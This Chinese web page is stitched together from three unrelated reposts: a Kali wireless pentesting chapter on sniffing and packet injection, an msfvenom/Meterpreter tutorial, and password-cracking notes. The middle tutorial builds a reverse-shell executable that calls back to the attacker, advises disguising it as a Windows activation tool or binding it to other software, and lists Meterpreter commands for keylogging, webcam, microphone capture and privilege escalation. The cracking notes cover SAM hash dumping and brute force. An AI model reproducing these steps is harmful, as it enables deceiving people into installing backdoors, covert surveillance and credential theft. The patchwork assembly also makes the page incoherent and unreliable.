Kali Linux 无线渗透测试入门指南 第二章 WLAN 和固有的不安全性

Kali Linux 无线渗透测试入门指南 第二章 WLAN 和固有的不安全性,第1张

没有什么伟大的东西能在脆弱的基础上构建。在我们的语境中,固有的不安全性之上不能构建出安全。

WLAN 在设计上拥有特定的不安全性,它们可被轻易利用,例如,通过封包注入,以及嗅探(能够在很远处进行)。我们会在这一章利用这些缺陷。

由于这本书处理无线方面的安全,我们假设你已经对协议和封包的头部有了基本的了解。没有的话,或者你离开无线有很长时间了,现在是个好机会来回顾这个话题。

让我们现在快速复习一些 WLAN 的基本概念,大多数你可能已经知道了。在 WLAN 中,通信以帧的方式进行,一帧会拥有下列头部结构:

Frame Control 字段本身拥有更复杂的结构:

类型字段定义了下列三种 WLAN 帧:

我们在之后的章节中讨论不同攻击的时候,会讨论这些帧中每一种的安全隐患。

我们现在看一看如何使用 Wireshark 嗅探无线网络上的这些帧。也有其他工具 -- 例如 Airodump-NG,Tcpdump,或者 Tshark -- 你同样可以用于嗅探。我们在这本书中多数情况会使用 Wireshark,但是我们推荐你探索其它工具。第一步是创建监控模式的接口。这会为你的适配器创建接口,使我们可以读取空域中的所有无线帧,无论它们的目标是不是我们。在有线的世界中,这通常叫做混合模式。

让我们现在将无线网卡设为监控模式。

遵循下列指南来开始:

我们成功创建了叫做 mon0 的监控模式接口。这个接口用于嗅探空域中的无线封包。这个接口已经在我们的无线适配器中创建了。

可以创建多个监控模式的接口,使用相同的物理网卡。使用 airmon-ng 工具来看看如何完成。

太棒了!我们拥有了监控模式接口,等待从空域中读取一些封包。所以让我们开始吧。

下一个练习中,我们会使用 Wireshark 和刚刚创建的 mon0 监控器模式接口,从空域中嗅探封包。

遵循下列指南来开始:

观察封包中不同的头部字段,并将它们和之前了解的 WLAN 帧类型以及子类型关联。

我们刚刚从空域中嗅探了第一组封包。我们启动了 Wireshark,它使用我们之前创建的监控模式接口 mon0 。通过查看 Wireshark 的底部区域,你应该注意到封包捕获的速度以及目前为止捕获的封包数量。

Wireshark 的记录有时会令人生畏,即使在构成合理的无线网络中,你也会嗅探到数千个封包。所以深入到我们感兴趣的封包十分重要。这可以通过使用 Wireshark 中的过滤器来完成。探索如何使用这些过滤器来识别记录中唯一的无线设备 -- 接入点和无线客户端。

如果你不能做到它,不要着急,它是我们下一个要学的东西。

现在我们学习如何使用 WIreshark 中的过滤器来查看管理、控制和数据帧。

请逐步遵循下列指南:

我们刚刚学习了如何在 Wireshark 中,使用多种过滤器表达式来过滤封包。这有助于监控来自我们感兴趣的设备的所选封包,而不是尝试分析空域中的所有封包。

同样,我们也可以以纯文本查看管理、控制和数据帧的封包头部,它们并没有加密。任何可以嗅探封包的人都可以阅读这些头部。要注意,黑客也可能修改任何这些封包并重新发送它们。协议并不能防止完整性或重放攻击,这非常易于做到。我们会在之后的章节中看到一些这类攻击。

你可以查阅 Wireshark 的手册来了解更多可用的过滤器表达式,以及如何使用。尝试玩转多种过滤器组合,直到你对于深入到任何细节层级都拥有自信,即使在很多封包记录中。

下个练习中,我们会勘察如何嗅探我们的接入点和无线客户端之间传输的数

据封包。

这个练习中,我们会了解如何嗅探指定无线网络上的封包。出于简单性的原因,我们会查看任何没有加密的封包。

遵循下列指南来开始:

我们刚刚使用 WIreshark 和多种过滤器嗅探了空域中的数据。由于我们的接入点并没有使用任何加密,我们能够以纯文本看到所有数据。这是重大的安全问题,因为如果使用了类似 WIreshark 的嗅探器,任何在接入点 RF 范围内的人都可以看到所有封包。

使用 WIreshark 进一步分析数据封包。你会注意 DHCP 请求由客户端生成,并且如果 DHCP 服务器可用,它会返回地址。之后你会发现 ARP 封包和其它协议的封包。这样来被动发现无线网络上的主机十分简单。能够看到封包记录,并重构出无线主机上的应用如何和网络的其余部分通信十分重要。Wireshark 所提供的有趣的特性之一,就是跟踪流的能力。这允许你一起查看多个封包,它们是相同连接中的 TCP 数据交换。

此外,尝试登陆 www.gmail.com 和其它流行站点并分析生成的数据流量。

我们会演示如何向无线网络中注入封包。

我们使用 aireplay-ng 工具来进行这个练习,它在 Kali 中自带。

遵循下列指南来开始:

我们刚刚使用 aireplay-ng,成功向我们的测试环境网络注入了封包。要注意我们的网卡将这些任意的封包注入到网络中,而不需要真正连接到无线接入点 Wireless Lab 。

我们会在之后的章节中详细了解封包注入。现在请探索一下 Aireplay-ng 工具用于注入封包的其它选项。你可以使用 Wireshark 监控空域来验证注入是否成功。

WLAN 通常在三种不同频率范围内工作:2.4 GHz,3.6 GHz 和 4.9/5.0 GHz。并不是所有 WIFI 网卡都全部支持这三种范围和相关的波段。例如,Alfa 网卡只支持 IEEE 802.11b/g。这就是说,这个网卡不能处理 802.11a/n。这里的关键是嗅探或注入特定波段的封包。你的 WIFI 网卡需要支持它。

另一个 WIFI 的有趣方面是,在每个这些波段中,都有多个频道。要注意你的 WIFI 网卡在每个时间点上只能位于一个频道。不能将网卡在同一时间调整为多个频道。这就好比车上的收音机。任何给定时间你只能将其调整为一个可用的频道。如果你打算听到其它的东西,你需要修改频道。WLAN 嗅探的原则相同。这会产生一个很重要的结论 -- 我们不能同时嗅探所有频道,我们只能选择我们感兴趣的频道。这就是说,如果我们感兴趣的接入点的频道是 1,我们需要将网卡设置为频道 1。

虽然我们在上面强调了 WLAN 嗅探,注入的原则也相同。为了向特定频道注入封包,我们需要将网卡调整为特定频道。

让我们现在做一些练习,设置网卡来制定频道或进行频道跳跃,设置规范域以及功率等级,以及其它。

仔细遵循以下步骤:

我们知道了,无线嗅探和封包注入依赖于硬件的支持。这即是说我们只能处理网卡支持的波段和频道。此外,无线网卡每次只能位于一个频道。这说明了我们只能一次嗅探或注入一个频道。

WIFI 的复杂性到这里并没有结束。每个国家都有自己的未授权的频谱分配策略。这规定了允许的功率等级和频谱的用户。例如,FCC 规定,如果你在美国使用 WLAN,你就必须遵守这些规定。在一些国家,不遵守相关规定会收到惩罚。

现在让我们看看如何寻找默认的规范设置,以及如何按需修改它们。

仔细遵循以下步骤:

每个国家都有用于未授权无线波段的自己的规范。当我们将规范域设置为特定国家时,我们的网卡会遵循允许的频道和指定的功率等级。但是,嗅探网卡的规范域,来强制它工作在不允许的频道上,以及在高于允许值的功率等级上传输数据相当容易。

查看你可以设置的多种参数,例如频道、功率、规范域,以及其它。在 Kali 上使用 iw 命令集。这会让你深刻了解在不同国家的时候如何配置网卡,以及修改网卡设置。

Q1 哪种帧类型负责在 WLAN 中的验证?

Q2 使用 airmon-mg 在 wlan0 上创建的第二个监控器模式接口的名字是什么?

Q3 用于在 Wireshark 中查看非信标的过滤器表达式是什么?

这一章中,我们对 WLAN 协议进行了一些重要的观察。

管理、控制和数据帧是未加密的,所以监控空域的人可以轻易读取。要注意数据封包载荷可以使用加密来保护,使其更加机密。我们在下一章讨论它们。

我们可以通过将网卡设置为监控模式来嗅探附近的整个空域。

由于管理和控制帧没有完整性保护,使用例如 aireplay-ng 的工具通过监控或照旧重放它们来注入封包非常容易。

未加密的数据封包也可以被修改和重放到网络中。如果封包加密了,我们仍然可以照旧重放它们,因为 WLAN 设计上并没有保护封包重放。

下一章中,我们会看一看用于 WLAN 的不同验证机制,例如 MAC 过滤和共享验证,以及其它。并且通过实际的演示来理解多种安全缺陷。

前言

最近整理了一些 奇安信&华为&深信服大佬 的课件资料+大厂面试课题,想要的可以私信自取, 无偿赠送 给粉丝朋友~

msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。

MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。

演示环境

使用Kali 2021.3进行演示操作

目标靶机: Win10专业版

软件:msfvenom、msfconsole(Kali系统内置)

1.进入管理员模式

命令: sudo su

解释: 不在管理员模式下运行可能会有权限不够的提示,为了避免命令执行失败,在管理员下运行以下命令

命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip>LPORT=本地端口号>–f exe –o 文件名>.exe

解释: 本地ip写自己Kali的IP地址,用ifconfig就能查看自己Kali的IP地址

本地端口自己随便设置一个没有被占用的端口号,如果端口号被占用那么文件会生成失败,换一个端口号就性

文件名可以随便写自己喜欢的名字,比如写Win10激活工具,可能更容易让目标主机上钩

当然MSF也可以用来渗透手机、mac、Linux等

接下来运行命令生成文件

默认生成的文件在根目录下

把刚才生成的文件放到目标靶机Win10系统中

命令: msfconsole

(1)命令: use exploit/multi/handler(选择模块)

(2)命令: set payload windows/meterpreter/reverse_tcp(选择攻击模块)

(3)命令: set LhOST 192.168.32.1(填写自己主机的IP地址)

(4)命令: set lport 1111(填写刚才生成文件时的端口号)

(5)命令: show options(查看设置参数)

(6)命令: exploit -z -j(后台执行)

我们这里也可以把这个程序伪装一下,把他的图标改一下,或者把它捆绑在某些软件上面,当用户打开就自动安装到对方电脑上面

(1)命令: sessions (查看上钩的用户)

(2)命令: sessions -i 1 (选择需要攻击的用户,这里选择第 1 个

命令: run vnc -i

cmd指令:

cat 读取文件内容到屏幕

cd 更改目录

checksum 检索文件的校验和

cp 将源复制到目标

del 删除指定文件

dir 列出文件(ls 的别名)

下载 下载文件或目录

编辑 编辑文件

getlwd 打印本地工作目录

getwd 打印工作目录

lcd 更改本地工作目录

lls 列出本地文件

lpwd 打印本地工作目录

ls 列出文件

mkdir 创建目录

mv 将源移动到目标

pwd 打印工作目录

rm 删除指定文件

rmdir 删除目录

search 搜索文件

show_mount 列出所有挂载点/逻辑驱动器

upload 上传文件或目录

pkill 按名称终止进程

keyscan_start 开始捕获击键(开始键盘记录)

keyscan_dump 转储按键缓冲(下载键盘记录)

keyscan_stop 停止捕获击键(停止键盘记录)

record_mic X秒从默认的麦克风record_mic音频记录(音频录制)

webcam_chat 开始视频聊天(视频,对方会有弹窗)

webcam_list 单摄像头(查看摄像头列表)

webcam_snap 采取快照从指定的摄像头(摄像头拍摄一张照片)

webcam_stream 播放视频流从指定的摄像头(开启摄像头监控)

enumdesktops 列出所有可访问的桌面和窗口站(窗体列表)

getdesktop 得到当前的Meterpreter桌面

reboot 重新启动远程计算机

shutdown 关闭远程计算机

shell 放入系统命令 shell

enumdesktops 列出所有可访问的桌面和窗口站

getdesktop 获取当前的meterpreter桌面

idletime 返回远程用户空闲的秒数

keyboard_send 发送击键

keyevent 发送按键事件

keyscan_dump 转储击键缓冲区

keyscan_start 开始捕获击键

keyscan_stop 停止捕获击键

mouse 发送鼠标事件

screenshare 实时观看远程用户桌面

screenshot 抓取交互式桌面的屏幕截图

setdesktop 更改 Meterpreters 当前桌面

uictl 控制一些用户界面组件

record_mic 从默认麦克风录制音频 X 秒

webcam_chat 开始视频聊天

webcam_list 列出网络摄像头

webcam_snap 从指定的网络摄像头拍摄快照

webcam_stream 播放来自指定网络摄像头的视频流

play 在目标系统上播放波形音频文件 (.wav)

getsystem 尝试将您的权限提升到本地系统的权限

execute -f notepad 打开记事本

————————————————

原文链接:https://blog.csdn.net/RFZ_322/article/details/123367668

前言

最近整理了一些 奇安信&华为大佬 的课件资料+大厂面试课题,想要的可以私信自取, 无偿赠送 给粉丝朋友~

1. 密码破解简介

1. 思路

目标系统实施了强安全措施

安装了所有补丁

无任何已知漏洞

无应用层漏洞

攻击面最小化

社会 工程学

获取目标系统用户身份

非授权用户不受信,认证用户可以访问守信资源

已知用户账号权限首先,需要提权

不会触发系统报警

2. 身份认证方法

证明你是你声称你是的那个人

你知道什么(账号密码、pin、passphrase)

你有什么(令牌、token、key、证书、密宝、手机)

你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)

以上方法结合使用

基于互联网的身份验证仍以账号密码为主要形式

3. 密码破解方法

人工猜解

垃圾桶工具

被动信息收集

基于字典暴力破解(主流)

键盘空间字符爆破

字典

保存有用户名和密码的文本文件

/usr/share/wordlist

/usr/share/wfuzz/wordlist

/usr/share/seclists

4. 字典

1. 简介

键盘空间字符爆破

全键盘空间字符

部分键盘空间字符(基于规则)

数字、小写字母、大写字符、符号、空格、瑞典字符、高位 ASCII 码

2. crunch 创建密码字典

无重复字符

crunch 1 1 -p 1234567890 | more

1

必须是最后一个参数

最大、最小字符长度失效,但必须存在

与 -s 参数不兼容(-s 指定起始字符串)

crunch 4 4 0123456789 -s 9990

读取文件中每行内容作为基本字符生成字典

crunch 1 1 -q read.txt

1

字典组成规则

crunch 6 6 -t @,%%^^ | more

-t:按位进行生成密码字典

@:小写字母 lalpha

,:大写字母 ualpha

%:数字 numeric

^:符号 symbols

输出文件压缩

root@kali:~# crunch 4 5 -p dog cat bird

1

-z:指定压缩格式

其他压缩格式:gzip、bzip2、lzma

7z压缩比率最大

指定字符集

root@kali:~# crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o w.txt -t @d@@ -s cdab

1

随机组合

root@kali:~# crunch 4 5 -p dog cat bird

1

crunch 5 5 abc DEF + !@# -t ,@^%,

在小写字符中使用abc范围,大写字符使用 DEF 范围,数字使用占位符,符号使用!@#

占位符

转义符(空格、符号)

占位符

root@kali:~# crunch 5 5 -t ddd%% -p dog cat bird

1

任何不同于 -p 参数指定的值都是占位符

指定特例

root@kali:~# crunch 5 5 -d 2@ -t @@@%%

1

2@:不超过两个连续相同字符

组合应用

crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -

crunch 10 10 12345 –stdout | airolib-ng testdb -import passwd -

3. CUPP 按个人信息生成其专属的密码字典

CUPP:Common User Password Profiler

git clone https://github.com/Mebus/cupp.git

python cupp.py -i

4. cewl 通过收集网站信息生成字典

cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt

-m:最小单词长度

-d:爬网深度

-e:收集包含email地址信息

-c:每个单词出现次数

支持基本、摘要 身份认证

支持代理

5. 用户密码变型

基于 cewl 的结果进行密码变型

末尾增加数字串

字母大小写变化

字母与符号互相转换

字母与数字互相转换

P@$w0rd

6. 使用 John the Ripper 配置文件实现密码动态变型

2. 在线密码破解

1. hydra

简介

密码破解

Windows 密码破解

Linux 密码破解

其他服务密码破解

图形化界面

xhydra

HTTP表单身份认证

密码破解效率

密码复杂度(字典命中率)

带宽、协议、服务器性能、客户端性能

锁定阈值

单位时间最大登陆请求次数

Hydra 的缺点

稳定性差,程序时常崩溃

速度控制不好,容易触发服务屏蔽或锁死机制

每主机新建进程,每服务新建实例

大量目标破解时性能差

2. pw-inspector

Hydra 小工具 pw-inspector

按长度和字符集筛选字典

pw-inspector -i /usr/share/wordlists/nmap.lst -o p1.lst -l

pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u

pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u -m 3 -M 5

3. medusa

Medusa 的特点

稳定性好

速度控制得当

基于线程

支持模块少于hydra(不支持RDP)

WEB-Form 支持存在缺陷

查看支持的模块

参数

-n:非默认端口

-s:使用SSL连接

-T:并发主机数

medusa -M ftp -q

3. 离线密码破解

1. 简介

身份认证

禁止明文传输密码

每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难)

服务器端用户数据库应加盐加密保存

破解思路

嗅探获取密码HASH

利用漏洞登陆服务器并从用户数据库获取密码HASH

识别HASH类型

长度、字符集

利用离线破解工具碰撞密码HASH

优势

离线不会触发密码锁定机制

不会产生大量登陆失败日志引起管理员注意

2. HASH 识别工具

1. hash-identifier

进行 hash 计算

结果:5f4dcc3b5aa765d61d8327deb882cf99

进行 hash 识别

2. hashid

可能识别错误或无法识别

3. HASH 密码获取

1. samdump2

Windows HASH 获取工具

利用漏洞:Pwdump、fgdump、 mimikatz、wce

物理接触:samdump2

将待攻击主机关机

使用 Kali ISO 在线启动此主机

发现此 windows 机器安装有两块硬盘

mount /dev/sda1 /mnt

将硬盘挂载

cd /mnt/Windows/System32/config

切换目录

samdump2 SYSTEM SAM -o sam.hash

导出密码

利用 nc 传输 HASH

HASH 值:31d6cfe0d16ae931b73c59d7e0c089c0

2. syskey 工具进行密码加密

使用 syskey 进行加密(会对 SAM 数据库进行加密)

重启需要输入密码才能进一步登录

使用 kali iso live

获取到 hash 值

hashcat 很难破解

使用 bkhive 破解

使用 Bootkey 利用RC4算法加密 SAM 数据库

Bootkey 保存于 SYSTEM 文件中

bkhive

从 SYSTEM 文件中提取 bootkey

Kali 2.0 抛弃了 bkhive

编译安装 :http://http.us.debian.org/debian/pool/main/b/bkhive/

在windows的 kali live 模式下,运行

samdump2 SAM key (版本已更新,不再支持此功能)

建议使用 Kali 1.x

1. Hashcat

简介

开源多线程密码破解工具

支持80多种加密算法破解

基于CPU的计算能力破解

六种模式 (-a 0)

0 Straight:字典破解

1 Combination:将字典中密码进行组合(1 2 >11 22 12 21)

2 Toggle case:尝试字典中所有密码的大小写字母组合

3 Brute force:指定字符集(或全部字符集)所有组合

4 Permutation:字典中密码的全部字符置换组合(12 21)

5 Table-lookup:程序为字典中所有密码自动生成掩码

命令

hashcat -b

hashcat -m 100 hash.txt pass.lst

hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d

结果:hashcat.pot

hashcat -m 100 -a 3 hash -i –increment-min 6 –increment-max 8 ?l?l?l?l?l?l?l?l

掩码动态生成字典

使用

生成文件

计算 hash 类型

结果 MD5

查看 MD5 代表的值

进行破解

2. oclhashcat

简介

号称世界上最快、唯一的基于GPGPU的密码破解软件

免费开源、支持多平台、支持分布式、150+hash算法

硬件支持

虚拟机中无法使用

支持 CUDA 技术的Nvidia显卡

支持 OpenCL 技术的AMD显卡

安装相应的驱动

限制

最大密码长度 55 字符

使用Unicode的最大密码长度 27 字符

关于版本

oclHashcat-plus、oclHashcat-lite 已经合并为 oclhashcat

命令

3. RainbowCrack

简介

基于时间记忆权衡技术生成彩虹表

提前计算密码的HASH值,通过比对HASH值破解密码

计算HASH的速度很慢,修改版支持CUDA GPU

https://www.freerainbowtables.com/en/download/

彩虹表

密码明文、HASH值、HASH算法、字符集、明文长度范围

KALI 中包含的 RainbowCrack 工具

rtgen:预计算,生成彩虹表,时的阶段

rtsort:对 rtgen 生成的彩虹表行排序

rcrack:查找彩虹表破解密码

以上命令必须顺序使用

rtgen

LanMan、NTLM、MD2、MD4、MD5、SHA1、SHA256、RIPEMD160

rtgen md5 loweralpha 1 5 0 10000 10000 0

计算彩虹表时间可能很长

下载彩虹表

http://www.freerainbowtables.com/en/tables/

http://rainbowtables.shmoo.com/

彩虹表排序

/usr/share/rainbowcrack

rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt

密码破解

r crack *.rt -h 5d41402abc4b2a76b9719d911017c592

rcrack *.rt -l hash.txt

4. John

简介

基于 CPU

支持众多服务应用的加密破解

支持某些对称加密算法破解

模式

Wordlist:基于规则的字典破解

Single crack:默认被首先执行,使用Login/GECOS信息尝试破解

Incremental:所有或指定字符集的暴力破解

External:需要在主配配文件中用C语言子集编程

默认破解模式

Single、wordlist、incremental

主配置文件中指定默认wordlist

破解Linux系统账号密码

破解windows密码

Johnny 图形化界面的john

5. ophcrack

简介

基于彩虹表的LM、NTLM密码破解软件

彩虹表:http://ophcrack.sourceforge.net/tables.php


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/482742.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-06-09
下一篇2023-06-09

发表评论

登录后才能评论

评论列表(0条)

    保存